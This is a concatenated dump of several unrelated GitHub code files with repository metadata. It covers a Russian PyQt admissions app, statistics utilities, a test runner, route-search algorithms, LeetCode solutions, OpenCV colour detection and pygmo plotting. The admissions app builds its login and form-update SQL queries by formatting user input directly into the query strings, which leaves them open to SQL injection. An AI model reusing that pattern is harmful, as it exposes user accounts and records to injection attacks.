'{}' and password = '{}'\"\"\".format(Login, Password)).fetchone()\n\n if not ex:\n ex = curs.execute(\"\"\"Select Facultet FROM Decanat where name = \"{}\" and password = \"{}\" \"\"\".format(Login,\n Password)).fetchone()\n if not ex:\n self.ui.label_error.setText(\"Неверный логин или пароль\")\n self.ui.label_error.show()\n return\n else:\n print(ex[0])\n self.win = Main(\"DATABASE.db\", ex[0])\n self.close()\n self.win.show()\n else:\n try:\n self.win = UI_Komissia(\"DATABASE.db\")\n self.close()\n self.win.show() # Приемная комиссия\n except Exception as excep:\n print(excep)\n else:\n ex1 = curs.execute(\"\"\"Select * FROM Students where FIO = {}\"\"\".format(ex[0])).fetchone()\n if not ex1:\n try:\n self.win = Menu(self, person=ex)\n self.close()\n self.win.show()\n\n except Exception as er:\n print(er)\n else:\n try:\n fio = curs.execute(\n \"\"\"SELECT id FROM UserForm WHERE email = \"{}\" and password = \"{}\" \"\"\".format(Login,\n Password)).fetchall()[\n 0][0]\n\n ex = \\\n curs.execute(f\"\"\"Select Branch, facultet, Groups from Students Where FIO = {fio}\"\"\").fetchall()[\n 0]\n\n self.win = Student_Room(\"DATABASE.db\", ex)\n self.close()\n self.win.show() # Студенты\n except Exception as excep:\n print(excep)\n\n def go_reg(self):\n try:\n self.win = Reg(self)\n self.close()\n self.win.show()\n\n except Exception as er:\n print(er)\n\n\nclass Zap_Step1(QtWidgets.QMainWindow):\n def __init__(self, parent=None, person=None):\n QtWidgets.QWidget.__init__(self, parent)\n self.ui = Ui_Zap_Step1()\n self.ui.setupUi(self)\n\n self.person = person\n self.file_path = None\n\n self.ui.btn_next.clicked.connect(self.go_next)\n\n self.ui.btn_load_photo.clicked.connect(self.load_photo)\n\n def load_photo(self):\n self.file_path = QtWidgets.QFileDialog.getOpenFileName(self, 'headers', 'filename')\n\n def go_next(self):\n\n radio_base_sex = [self.ui.radioButton_female, self.ui.radioButton_male]\n Surname = self.ui.edit_surname.text()\n Name = self.ui.edit_name.text()\n Otch = self.ui.edit_dad.text()\n Sex = None\n\n for i in radio_base_sex:\n if i.isChecked():\n Sex = i.text()\n Login = self.ui.edit_mail.text()\n Date = self.ui.edit_date.text()\n Phone = self.ui.edit_phone.text()\n Birth_place = self.ui.edit_birth_place.text()\n Life = None\n\n Photo = None\n Photo = self.file_path\n radio_base_life = [self.ui.radioButton_yes, self.ui.radioButton_no]\n for i in radio_base_life:\n if i.isChecked():\n Life = i.text()\n\n id = self.person[0]\n\n con = sqlite3.connect(\"DATABASE.db\")\n curs = con.cursor()\n try:\n curs.execute(\n f\"\"\"UPDATE UserForm SET FIO = \"{Name} {Surname} {Otch}\", sex = \"{Sex}\", email = \"{Login}\", birthday = \"{Date}\", place_of_birth = \"{Birth_place}\", phone_number = \"{Phone}\", photo_path = \"{Photo}\", campus = \"{Life}\" WHERE id = \"{id}\" \"\"\") # если не будет работать, убери кавычки на id\n con.commit()\n con.close()\n except Exception as excep:\n print(excep)\n\n try:\n self.win = Zap_Step2(self, person=self.person)\n self.close()\n self.win.show()\n\n except Exception as er:\n print(er)\n\n\nclass Zap_Step3(QtWidgets.QMainWindow):\n def __init__(self, parent=None, person=None):\n QtWidgets.QWidget.__init__(self, parent)\n self.ui = Ui_Zap_Step3()\n self.ui.setupUi(self)\n\n self.person = person\n\n self.ui.btn_next.clicked.connect(self.go_next)\n\n def go_next(self):\n try:\n self.win = Zap_Step4(self, person=self.person)\n self.close()\n self.win.show()\n\n except Exception as er:\n print(er)\n\n\nclass Zap_Step4(QtWidgets.QMainWindow):\n def __init__(self, parent=None, person=None):\n QtWidgets.QWidget.__init__(self, parent)\n self.ui = Ui_Zap_Step4()\n self.ui.setupUi(self)\n\n self.person = person\n\n self.ui.btn_next.clicked.connect(self.go_next)\n\n def go_next(self):\n try:\n self.win = Menu(self, person=self.person)\n self.close()\n self.win.show()\n\n except Exception as er:\n print(er)\n\n\nclass Zap_Step2(QtWidgets.QMainWindow):\n def __init__(self, parent=None, person=None):\n QtWidgets.QWidget.__init__(self, parent)\n self.ui = Ui_Zap_Step2()\n self.ui.setupUi(self)\n\n self.person = person\n\n self.ui.btn_next.clicked.connect(self.go_next)\n self.ui.btn_load_photo.clicked.connect(self.load_photo)\n\n def load_photo(self):\n self.file_path = QtWidgets.QFileDialog.getOpenFileName(self, 'headers', 'filename')\n\n def go_next(self):\n\n Serial = self.ui.edit_serial.text()\n Number = self.ui.edit_number.text()\n Gave = self.ui.edit_vidan.text()\n Code = self.ui.edit_code.text()\n Date = self.ui.edit_date_vi.text()\n\n con = sqlite3.connect(\"DATABASE.db\")\n curs = con.cursor()\n try:\n curs.execute(\n f\"\"\"UPDATE Paper SET serial_number = '{Serial}', number = '{Number}', gave = '{Gave}', code = '{Code}', date = '{Date}' WHERE id = \"{self.person[0]}\" \"\"\") # если не будет работать, убери кавычки на id\n con.commit()\n con.close()\n except Exception as excep:\n print(excep)\n\n try:\n self.win = Zap_Step3(self, person=self.person)\n self.close()\n self.win.show()\n\n except Exception as er:\n print(er)\n\n\nclass Menu(QtWidgets.QMainWindow):\n def __init__(self, parent=None, person=None):\n QtWidgets.QWidget.__init__(self, parent)\n self.ui = Ui_Menu()\n self.ui.setupUi(self)\n\n self.con = sqlite3.connect(\"DATABASE.db\")\n self.curs = self.con.cursor()\n\n self.person = person\n print(self.person)\n\n if self.person[-1] == \"Принято\":\n self.ui.pushButton.setDisabled(1)\n self.ui.pushButton_3.setDisabled(1)\n\n self.ui.pushButton.clicked.connect(self.go_zap)\n self.ui.pushButton_2.clicked.connect(self.go_watch)\n self.ui.pushButton_3.clicked.connect(self.go_change)\n\n self.ui.label.setText(self.person[1])\n\n def go_zap(self):\n try:\n self.win = Zap_Step1(self, person=self.person)\n self.close()\n self.win.show()\n\n except Exception as er:\n print(er)\n\n def go_watch(self):\n pass\n\n def go_change(self):\n pass\n\n\nif __name__ == '__main__':\n try:\n app = QtWidgets.QApplication(sys.argv)\n myapp = Join()\n myapp.show()\n sys.exit(app.exec_())\n except Exception as ex:\n print(ex)\n","repo_name":"max-marshalov/ZMC_Full","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":48764,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"22595554201","text":"import numpy as np\n\nimport inspect\nimport math\n\nimport pandas as pd\n\nfrom ipywidgets import interact#,interactive, fixed, interact_manual\n\nimport ipywidgets as widgets\n\nimport matplotlib.pyplot as plt\n\ndef randomWeights(d=1):\n return np.random.standard_normal(size=(d,1))\n\ndef plot_model(x, y):\n plt.figure()\n plt.plot(np.squeeze(x),np.squeeze(y),linewidth=4)\n\ndef setupX(N,xMode='linspace',xRange=[-2,2]):\n if xMode == 'uniform':\n x = uniformInputs(xRange[0],xRange[1],N)\n elif xMode == 'gauss':\n xWidth = xRange[1] - xRange[0]\n mu = (xRange[1] + xRange[0])/2\n sd = xWidth/3\n x = gaussInputs(mu,sd,N)\n elif xMode == 'linspace':\n x = linspaceInputs(xRange[0],xRange[1],N)\n else:\n print(\"mode unrecognized, defaulting to linspace\")\n x = linspaceInputs(-1,1,N)\n \n return x\n\ndef randomLinearModel(noise_level,xMode='linspace',N=1000):\n if xMode == 'uniform':\n x = uniformInputs(-1,1,N)\n elif xMode == 'gauss':\n x = gaussInputs(0,1,N)\n elif xMode == 'linspace':\n x = linspaceInputs(-1,1,N)\n else:\n print(\"mode unrecognized, defaulting to linspace\")\n x = linspaceInputs(-1,1,N)\n \n allOnes = np.ones(N)\n regressors = np.vstack([x,allOnes])\n \n linearWeights = randomWeights(2)\n \n epsilon = noise_level*np.random.standard_normal(size=(1,N))\n \n linearY = np.dot(linearWeights.T,regressors) + epsilon\n \n linearModelDataFrame = pd.DataFrame.from_dict({'x':np.squeeze(x),'y':np.squeeze(linearY)})\n \n return linearModelDataFrame\n\ndef randomLinearizedModel(noise_level,maxDegree,xMode='linspace',xRange=[-1,1],N=1000):\n \n x = setupX(N,xMode=xMode,xRange=xRange)\n \n allOnes = np.ones(N)\n \n polyRegressors = [np.power(x,n) for n in range(2,maxDegree+1)]\n \n regressors = np.vstack([x,allOnes]+polyRegressors)\n \n weights = randomWeights(maxDegree+1)\n \n epsilon = noise_level*np.random.standard_normal(size=(1,N))\n \n linearY = np.dot(weights.T,regressors) + epsilon\n \n linearizedModelDataFrame = pd.DataFrame.from_dict({'x':np.squeeze(x),'y':np.squeeze(linearY)})\n \n return linearizedModelDataFrame\n\ndef randomNonlinearModel(noise_level,function,\n xMode='linspace',N=1000,\n xRange = [-2,2],\n thetaRange=[-1,1]):\n \n x = setupX(N,xMode=xMode,xRange=xRange)\n \n theta = setupTheta(thetaRange)\n \n epsilon = noise_level*np.random.standard_normal(size=(1,N))\n \n nonlinearY = function(theta,x) + epsilon\n \n nonlinearModelDataFrame = pd.DataFrame.from_dict({'x':np.squeeze(x),\n 'y':np.squeeze(nonlinearY)})\n \n return nonlinearModelDataFrame\n\ndef uniformInputs(mn,mx,N):\n return np.random.uniform(mn,mx,size=(1,N))\n\ndef gaussInputs(mn,sd,N):\n return mn+sd*np.random.standard_normal(size=(1,N))\n\ndef linspaceInputs(mn,mx,N):\n return np.linspace(mn,mx,N)\n\ndef makeNonlinearTransform(transform,thetaFirst=True):\n if thetaFirst:\n return lambda theta,x: transform(theta,x)\n else:\n return lambda theta,x: transform(x,theta)\n\ndef makePowerTransform():\n return makeNonlinearTransform(np.power,thetaFirst=False)\n\ndef makeLNTransform(f):\n \"\"\"linear-nonlinear transforms\"\"\"\n return lambda theta,x: f(theta*x)\n\ndef makeNonlinearParameters(default,rangeTuple):\n return Parameters([default],[rangeTuple],['theta'])\n\ndef makeRectLinTransform():\n return lambda theta,x: np.where(x>theta,x-theta,0)\n\ndef setupTrig(trigFunction,thetaRange=[-5,5]):\n inputValues = np.linspace(-10,10,200)\n \n parameters = makeNonlinearParameters(1,thetaRange)\n \n transform = makeLNTransform(trigFunction)\n \n return inputValues,parameters,transform\n\ndef setupPower(maxDegree):\n inputValues = np.linspace(0,10,200)\n \n parameters = makeNonlinearParameters(1,[0,maxDegree])\n \n transform = makePowerTransform()\n \n return inputValues,parameters,transform\n\ndef setupLN(f,inputRange,thetaRange=[-1,1]):\n inputValues = np.linspace(*inputRange,num=200)\n \n parameters = makeNonlinearParameters(0,thetaRange)\n \n transform = makeLNTransform(f)\n \n return inputValues,parameters,transform\n\ndef setupRectLin(thetaRange=[-10,10]):\n \n transform = makeRectLinTransform()\n\n inputValues = np.linspace(-10,10,200)\n\n parameters = makeNonlinearParameters(0,thetaRange)\n \n return inputValues,parameters,transform\n\ndef setupTheta(thetaRange):\n thetaWidth = thetaRange[1] - thetaRange[0]\n theta = np.random.rand()*thetaWidth+thetaRange[0]\n return theta\n\n","repo_name":"charlesfrye/AppliedStatisticsForNeuroscience","sub_path":"Part 02 - Statistical Modeling/09 - Model Specification/util/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4683,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"30"} +{"seq_id":"36847327371","text":"import unittest,time,os\nfrom util import BSTestRunner\nfrom config import description,reporttitle\npath=os.getcwd()\ncase_path=path+'\\\\case'\ndef create_report():\n test_suit = unittest.TestSuite()\n discover = unittest.defaultTestLoader.discover(case_path, pattern='*test.py', top_level_dir=None)\n for test in discover:\n for test_case in test:\n test_suit.addTest(test_case)\n now=time.strftime('%Y-%m-%d_%H_%M',time.localtime(time.time()))\n report_dir=path+'\\\\report\\\\%s.html'%now\n re_open= open(report_dir,'wb')\n runner=BSTestRunner.BSTestRunner(stream=re_open,title=reporttitle,description=description)\n runner.run(test_suit)\n","repo_name":"liwanlei/python-selenium","sub_path":"suite/testsuite.py","file_name":"testsuite.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":267,"dataset":"github-code","pt":"30"} +{"seq_id":"29684322811","text":"from queue import Empty, PriorityQueue, Queue\nfrom geopy.geocoders import Nominatim\nfrom geopy.distance import geodesic\nfrom geopy.exc import GeocoderTimedOut\n\n\nTOWNS = ('Nairobi', 'Mombasa', 'Kisumu',\n 'Eldoret', 'Kitui', 'Makueni', 'Nakuru', 'Nanyuki', 'Kilifi', 'Garissa')\n\n\ndef getCoordForList(cities):\n _dict = dict()\n print('Getting town data...')\n for city in cities:\n _dict[city] = getCoord(city)\n print(city)\n\n return _dict\n\n\ndef getCoord(loc):\n return recurrCoord(loc, attempt=1)\n\n\ndef recurrCoord(loc, attempt):\n try:\n geolocator = Nominatim(user_agent='assignment')\n location = geolocator.geocode(loc)\n return (location.latitude, location.longitude)\n except GeocoderTimedOut:\n if attempt <= 5:\n return recurrCoord(loc, attempt+1)\n raise\n\n\ndef getDistance(pt1, pt2):\n return geodesic(getCoord(pt1), getCoord(pt2)).km\n\n\ndef getPathDistance(list):\n total = 0\n for i in range(len(list)-1):\n dist = getDistance(list[i], list[i+1])\n total = total + dist\n\n return int(total)\n\n\ndef getPath(graph, start, goal, algorithm):\n route = []\n if algorithm == 'Depth First Search':\n route = depth_first_seach(graph, start, goal)\n elif algorithm == 'Breadth First Search':\n route = breadth_first_search(graph, start, goal)\n else:\n route = aStarSearch(graph, start, goal)\n\n return route\n\n\ndef getCoordPath(townDict, route):\n res = []\n for i in route:\n res.append(townDict[i])\n return res\n\n\ndef clear(q):\n while not q.empty():\n try:\n q.get(False)\n except Empty:\n continue\n q.task_done()\n\n\ndef depth_first_seach(graph, startNode, goalNode):\n stack = [startNode]\n closedList = set()\n\n res = []\n\n while len(stack) != 0:\n curr = stack.pop()\n\n if curr not in closedList:\n res.append(curr)\n closedList.add(curr)\n\n if curr == goalNode:\n break\n\n for neighbor in graph.getNodes()[curr].getEdges():\n nn = neighbor.getConnections().getId()\n if nn not in closedList:\n stack.append(nn)\n return res\n\n\ndef breadth_first_search(graph, startNode, goalNode):\n closedList = set()\n queue = Queue()\n route = []\n\n queue.put(startNode)\n closedList.add(startNode)\n\n if startNode == goalNode:\n route.append(queue.get())\n\n while not queue.empty():\n curr = queue.get()\n route.append(curr)\n\n for neighbor in graph.getNodes()[curr].getEdges():\n nn = neighbor.getConnections().getId()\n if nn not in closedList:\n closedList.add(nn)\n if nn == goalNode:\n clear(queue)\n route.append(nn)\n break\n queue.put(nn)\n\n return route\n\n\ndef aStarSearch(graph, start, goal):\n pQueue = PriorityQueue()\n closedList = set()\n route = []\n\n pQueue.put((0, start))\n\n while not pQueue.empty():\n curr = pQueue.get()[-1]\n closedList.add(curr)\n route.append(curr)\n\n if curr == goal:\n clear(pQueue)\n break\n\n neighbours = graph.getNodes()[curr].getEdges()\n for node in neighbours:\n nn = node.getConnections().getId()\n\n g = cost(start, nn)\n h = heuristic(nn, goal)\n f = g+h\n\n if nn == goal:\n route.append(nn)\n clear(pQueue)\n break\n if nn not in closedList:\n pQueue.put((f, nn))\n\n return route\n\n\ndef heuristic(curr, goal):\n # to get the cost h(n) from current node to goal node\n return getDistance(goal, curr)\n\n\ndef cost(start, goal):\n # to get the cost g(n) from start node to the current node\n return getDistance(goal, start)\n","repo_name":"brianMunyao/map-route","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3889,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"70235821206","text":"from ..core import dtlz\n\n# Plotting functions\n\n\ndef plot_non_dominated_fronts(points, marker='o', comp=[0, 1], axes=None):\n \"\"\"\n Plots the nondominated fronts of a set of points. Makes use of :class:`~pygmo.fast_non_dominated_sorting` to\n compute the non dominated fronts.\n\n Args:\n points (2d array-like): points to plot\n marker (str): matplotlib marker used to plot the *points*\n comp (list): Components to be considered in the two dimensional plot (useful in many-objectives cases)\n axes: plot axes (if :data:`None`, new axes will be created)\n\n Returns:\n the input *axes* or a new axes instance\n\n Examples:\n >>> from pygmo import *\n >>> prob = problem(zdt())\n >>> pop = population(prob, 40)\n >>> ax = plot_non_dominated_fronts(pop.get_f()) # doctest: +SKIP\n \"\"\"\n\n from matplotlib import pyplot as plt\n from ..core import fast_non_dominated_sorting, population\n from numpy import linspace\n\n # We plot\n fronts, _, _, _ = fast_non_dominated_sorting(points)\n\n # We define the colors of the fronts (grayscale from black to white)\n cl = list(zip(linspace(0.1, 0.9, len(fronts)),\n linspace(0.1, 0.9, len(fronts)),\n linspace(0.1, 0.9, len(fronts))))\n\n if axes is None:\n axes = plt.axes()\n\n for ndr, front in enumerate(fronts):\n # We plot the points\n for idx in front:\n axes.plot(points[idx][comp[0]], points[idx][\n comp[1]], marker=marker, color=cl[ndr])\n # We plot the fronts\n # Frist compute the points coordinates\n x = [points[idx][comp[0]] for idx in front]\n y = [points[idx][comp[1]] for idx in front]\n # Then sort them by the first objective\n tmp = [(a, b) for a, b in zip(x, y)]\n tmp = sorted(tmp, key=lambda k: k[0])\n # Now plot using step\n axes.step([c[0] for c in tmp], [c[1]\n for c in tmp], color=cl[ndr], where='post')\n\n return axes\n\n\ndef _dtlz_plot(self, pop, az=40, comp=[0, 1, 2]):\n \"\"\"\n Plots solutions to the DTLZ problems in three dimensions. The Pareto Front is also\n visualized if the problem id is 2,3 or 4.\n\n Args:\n pop (:class:`~pygmo.population`): population of solutions to a dtlz problem\n az (``float``): angle of view on which the 3d-plot is created\n comp (``list``): indexes the fitness dimension for x,y and z axis in that order\n\n Returns:\n the current axes instance on the current figure\n\n Raises:\n ValueError: if *pop* does not contain a DTLZ problem (veryfied by its name only) or if *comp* is not of length 3\n\n Examples:\n >>> import pygmo as pg\n >>> udp = pg.dtlz(prob_id = 1, fdim =3, dim = 5)\n >>> pop = pg.population(udp, 40)\n >>> udp.plot(pop) # doctest: +SKIP\n \"\"\"\n from mpl_toolkits.mplot3d import axes3d\n import matplotlib.pyplot as plt\n import numpy as np\n\n if (pop.problem.get_name()[:-1] != \"DTLZ\"):\n raise(ValueError, \"The problem seems not to be from the DTLZ suite\")\n\n if (len(comp) != 3):\n raise(ValueError, \"The kwarg *comp* needs to contain exactly 3 elements (ids for the x,y and z axis)\")\n\n # Create a new figure\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n\n # plot the points\n fit = np.transpose(pop.get_f())\n try:\n ax.plot(fit[comp[0]], fit[comp[1]], fit[comp[2]], 'ro')\n except IndexError:\n print('Error. Please choose correct fitness dimensions for printing!')\n\n # Plot pareto front for dtlz 1\n if (pop.problem.get_name()[-1] in [\"1\"]):\n\n X, Y = np.meshgrid(np.linspace(0, 0.5, 100), np.linspace(0, 0.5, 100))\n Z = - X - Y + 0.5\n # remove points not in the simplex\n for i in range(100):\n for j in range(100):\n if X[i, j] < 0 or Y[i, j] < 0 or Z[i, j] < 0:\n Z[i, j] = float('nan')\n\n ax.set_xlim(0, 1.)\n ax.set_ylim(0, 1.)\n ax.set_zlim(0, 1.)\n\n ax.plot_wireframe(X, Y, Z, rstride=10, cstride=10)\n plt.plot([0, 0.5], [0.5, 0], [0, 0])\n\n # Plot pareto fronts for dtlz 2,3,4\n if (pop.problem.get_name()[-1] in [\"2\", \"3\", \"4\"]):\n # plot the wireframe of the known optimal pareto front\n thetas = np.linspace(0, (np.pi / 2.0), 30)\n # gammas = np.linspace(-np.pi / 4, np.pi / 4, 30)\n gammas = np.linspace(0, (np.pi / 2.0), 30)\n\n x_frame = np.outer(np.cos(thetas), np.cos(gammas))\n y_frame = np.outer(np.cos(thetas), np.sin(gammas))\n z_frame = np.outer(np.sin(thetas), np.ones(np.size(gammas)))\n\n ax.set_autoscalex_on(False)\n ax.set_autoscaley_on(False)\n ax.set_autoscalez_on(False)\n\n ax.set_xlim(0, 1.8)\n ax.set_ylim(0, 1.8)\n ax.set_zlim(0, 1.8)\n\n ax.plot_wireframe(x_frame, y_frame, z_frame)\n\n ax.view_init(azim=az)\n plt.show()\n return ax\n\n\ndtlz.plot = _dtlz_plot\n","repo_name":"esa/pygmo2","sub_path":"pygmo/plotting/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5000,"program_lang":"python","lang":"en","doc_type":"code","stars":370,"dataset":"github-code","pt":"30"} +{"seq_id":"6295967104","text":"from __future__ import print_function\n\nimport bz2\nimport logging\nimport math\nimport os\nfrom io import StringIO\n\nimport joblib\nimport pandas as pd\nfrom sklearn.neural_network import MLPRegressor\n\nfrom common.base_script import BaseScript\nfrom common.log_stdout_through_logger import write_stdout_through_logger\n\n\nclass EvaluatorBuilder(BaseScript):\n EVERYTHING_BUT_TROPES = ['Id', 'NameTvTropes', 'NameIMDB', 'Rating', 'Votes', 'Year']\n\n def __init__(self, source_extended_dataset, random_seed=0):\n logging.basicConfig(level=logging.DEBUG, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s',\n datefmt='%m-%d %H:%M:%m', )\n\n self.source_extended_dataset = source_extended_dataset\n self.random_seed = random_seed\n\n parameters = dict(source_extended_dataset=source_extended_dataset, random_seed=random_seed)\n BaseScript.__init__(self, parameters)\n\n self.extended_dataframe = None\n self.trope_names = None\n self.layer_sizes = []\n self.neural_network = None\n\n def run(self):\n self._load_dataframe()\n\n self.trope_names = [key for key in self.extended_dataframe.keys() if key not in self.EVERYTHING_BUT_TROPES]\n inputs = self.extended_dataframe.loc[:][self.trope_names].values\n outputs = self.extended_dataframe.loc[:]['Rating'].values\n tropes_count = len(self.trope_names)\n\n self._calculate_layer_sizes(tropes_count, number_of_layers=3)\n parameters = dict(activation='relu', alpha=0.0001, random_state=self.random_seed,\n hidden_layer_sizes=tuple(self.layer_sizes[1:-1]),\n solver='sgd', max_iter=1000, verbose=100, learning_rate='constant',\n early_stopping=True)\n for key,value in parameters.items():\n self._add_to_summary(key, value)\n\n self.neural_network = MLPRegressor(**parameters)\n\n with write_stdout_through_logger(self._logger):\n self.neural_network.fit(inputs, outputs)\n\n def _calculate_layer_sizes(self, tropes_count, number_of_layers=3):\n # Number of hidden nodes: There is no magic formula for selecting the optimum number of hidden neurons.\n # However, some thumb rules are available for calculating the number of hidden neurons.\n # A rough approximation can be obtained by the geometric pyramid rule proposed by Masters (1993).\n # For a three layer network with n input and m output neurons, the hidden layer would have №‘›тˆ—№‘šт€От€От€От€От€Отˆš neurons.\n # Ref:\n # 1 Masters, Timothy. Practical neural network recipes in C++. Morgan Kaufmann, 1993.\n # [2] http://www.iitbhu.ac.in/faculty/min/rajesh-rai/NMEICT-Slope/lecture/c14/l1.html\n\n if number_of_layers == 3:\n self.layer_sizes.append([tropes_count, int(math.sqrt(tropes_count)), 1])\n else:\n self.layer_sizes = [tropes_count, int(math.sqrt(tropes_count * (tropes_count ** (1 / 3)))),\n int(tropes_count ** (1 / 3)), 1]\n\n self._add_to_summary('Layer sizes', self.layer_sizes)\n\n def _load_dataframe(self):\n self.extended_dataframe = None\n hdf_name = self.source_extended_dataset.replace('.csv.bz2', '.h5')\n if os.path.isfile(hdf_name):\n self.extended_dataframe = pd.read_hdf(hdf_name)\n else:\n with open(self.source_extended_dataset, 'rb') as file:\n compressed_content = file.read()\n csv_content = bz2.decompress(compressed_content)\n self.extended_dataframe = pd.read_csv(StringIO(csv_content.decode('utf-8')))\n\n def pickle(self, target_folder):\n file_name = f'evaluator_{\"_\".join([str(value) for value in self.layer_sizes])}.sav'\n file_path = os.path.join(target_folder, file_name)\n\n return_data = {'inputs': self.trope_names, 'evaluator': self.neural_network}\n joblib.dump(return_data, file_path, compress=False)\n self._add_to_summary('Pickled evaluator path', file_path)\n\n def finish(self):\n self._finish_and_summary()\n","repo_name":"JJ/made_recommender","sub_path":"rating_evaluator/evaluator_builder.py","file_name":"evaluator_builder.py","file_ext":"py","file_size_in_byte":4121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"31037901226","text":"# UI/constants.py v1.0 (None)\n\nSCREEN_TITLE = \"Example\"\nSCREEN_ICON = None\nSCALE_RATIO = 1\nSCREEN_SIZE = (int(700*SCALE_RATIO), int(500*SCALE_RATIO))\nSCREEN_COLOR = (243, 243, 243)\n\nUPDATE_FPS = 200\nGRAPHICS_FPS = 60\nversion_name = \"v1.0 (None)\"\nfrom example import Example as main_app\n","repo_name":"mock-angel/python-school-project","sub_path":"python/example/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"13455864941","text":"from typing import List\n\n# 937. Reorder Data in Log Files https://leetcode.com/problems/reorder-data-in-log-files/\n# You are given an array of logs.\n# Each log is a space-delimited string of words, where the first word is the identifier.\n# There are two types of logs:\n# Letter-logs: All words (except the identifier) consist of lowercase English letters.\n# Digit-logs: All words (except the identifier) consist of digits.\n# Reorder these logs so that:\n# The letter-logs come before all digit-logs.\n# The letter-logs are sorted lexicographically by their contents. If their contents are the same, then sort them\n# lexicographically by their identifiers.\n# The digit-logs maintain their relative ordering.\n# Return the final order of the logs.\n\n\n# Let N be the number of logs in the list and M be the maximum length of a single log.\n# Time complexity: O(M * N * log N).\n# The sorted() in Python is implemented with the Timsort algorithm which time complexity is O(N * log N).\n# Comparison between two log keys can take up to O(M) time. The overall time complexity of the algorithm is\n# O(M * N * log N).\n#\n# Space complexity: O(M * N).\n# We need O(M * N) space to keep the log keys.\n# In addition, the worst space complexity of the Timsort algorithm is O(N), assuming that the space required\n# for each element is O(1). So, we would need O(M * N) space to hold the intermediate values for sorting.\n# In total, the overall space complexity of the algorithm is O(M * N + M * N) = O(M * N)\n\n\nclass Solution:\n def reorder_log_files_comparator(self, logs: List[str]) -> List[str]:\n return sorted(logs, key=self.comparator)\n\n def reorder_log_files_comparator2(self, logs: List[str]) -> List[str]:\n let_logs, dig_logs = [], []\n for log in logs:\n if log.split()[1].isalpha():\n let_logs.append(log)\n else:\n dig_logs.append(log)\n let_logs.sort(key=self.comparator2)\n return let_logs + dig_logs\n\n def comparator(self, log: str) -> tuple:\n label, body = log.split(' ', maxsplit=1)\n return (0, body, label) if body[0].isalpha() else (1, )\n\n def comparator2(self, log: str) -> str:\n words = log.split()\n label, body = words[0], words[1:]\n return ' '.join(body + [' ', label])\n","repo_name":"timshenkao/interview_coding_exercises","sub_path":"python_code/easy/937_Reorder_Data_in_Log_Files_easy/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":2320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"42346946447","text":"import cv2\r\nimport numpy as np\r\n\r\ndef getthresholdedimg(hsv):\r\n red = cv2.inRange(hsv,np.array((160,20,70)),np.array((190,255,255)))\r\n yellow = cv2.inRange(hsv,np.array((20,100,100)),np.array((30,255,255)))\r\n green = cv2.inRange(hsv,np.array((36,0,0)),np.array((70,255,255)))\r\n blue = cv2.inRange(hsv,np.array((100,100,100)),np.array((120,255,255)))\r\n both = cv2.add(yellow,yellow)\r\n return both\r\n\r\nc = cv2.VideoCapture(0)\r\nwidth,height = c.get(3),c.get(4)\r\n\r\nwhile(True):\r\n rect,frame = c.read()\r\n frame = cv2.flip(frame,1)\r\n blur = cv2.medianBlur(frame,5)\r\n hsv = cv2.cvtColor(frame,cv2.COLOR_BGR2HSV)\r\n both = getthresholdedimg(hsv)\r\n erode = cv2.erode(both,None,iterations = 3)\r\n dilate = cv2.dilate(erode,None,iterations = 10)\r\n\r\n im2,contours,hierarchy = cv2.findContours(dilate,cv2.RETR_LIST,cv2.CHAIN_APPROX_SIMPLE)\r\n\r\n for cnt in contours:\r\n x,y,w,h = cv2.boundingRect(cnt)\r\n cx,cy = x+w/2, y+h/2\r\n if 20 < hsv.item(int(cy),int(cx),0) < 30:\r\n cv2.rectangle(frame,(x,y),(x+w,y+h),[0,0,255],2)\r\n elif 100 < hsv.item(int(cy),int(cx),0) < 120:\r\n cv2.rectangle(frame,(x,y),(x+w,y+h),[255,0,0],2)\r\n\r\n cv2.imshow('img',frame)\r\n\r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n\r\ncv2.destroyAllWindows()\r\nc.release()","repo_name":"pasthortown/python","sub_path":"color_detect.py","file_name":"color_detect.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"73505186324","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def deleteDuplicates(self, head: Optional[ListNode]) -> Optional[ListNode]:\n if not head or not head.next:\n return head\n fir = head\n sec=head.next\n while sec:\n if fir.val!=sec.val:\n fir=fir.next\n sec=sec.next\n else:\n while fir.val==sec.val:\n if sec.next:\n sec=sec.next\n else:\n break\n if fir.val==sec.val:\n fir.next = None\n sec=sec.next\n else:\n fir.next=sec\n fir=sec\n sec=sec.next\n return head","repo_name":"chalaa/A2SV","sub_path":"leetcode/deleteDuplicates.py","file_name":"deleteDuplicates.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"25854002225","text":"# https://school.programmers.co.kr/learn/courses/30/lessons/43165\n# programmers, level2: 타겟 넘버, python3\nfrom collections import deque\n\ndef solution(numbers: list, target: int) -> int:\n answer = 0\n queue = deque() # bfs 구현을 위해 deque 구현\n queue.append([-numbers[0], 0])\n queue.append([numbers[0], 0])\n\n # queue가 빌 때까지 반복문 수행\n while queue:\n number, index = queue.popleft()\n index += 1\n\n if index == len(numbers):\n if number == target:\n answer += 1\n else:\n queue.append([number - numbers[index], index])\n queue.append([number + numbers[index], index])\n\n return answer\n\nif __name__ == '__main__':\n print(solution([1, 1, 1, 1, 1], 3)) # 